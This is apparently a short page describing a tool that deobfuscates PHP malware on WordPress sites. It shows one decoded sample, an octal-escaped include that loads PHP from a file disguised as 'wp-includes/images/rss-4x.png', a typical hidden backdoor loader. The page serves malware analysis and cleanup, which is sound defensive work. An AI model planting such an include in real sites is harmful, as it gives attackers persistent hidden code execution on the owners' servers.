PHP deobfuscation, decryption, reconstruction tool

De-obfuscate PHP malware/viruses and tampering code on Wordpress to original readable code.

*Please note that not all obfuscation codes can be decoded.

Decoded the code below.

<?php include("\167\160\55\151\156\143\154\165\144\145\163\57\151\155\141\147\145\163\57\162\163\163\55\64\170\56\160\156\147");

<?php

include "wp-includes/images/rss-4x.png";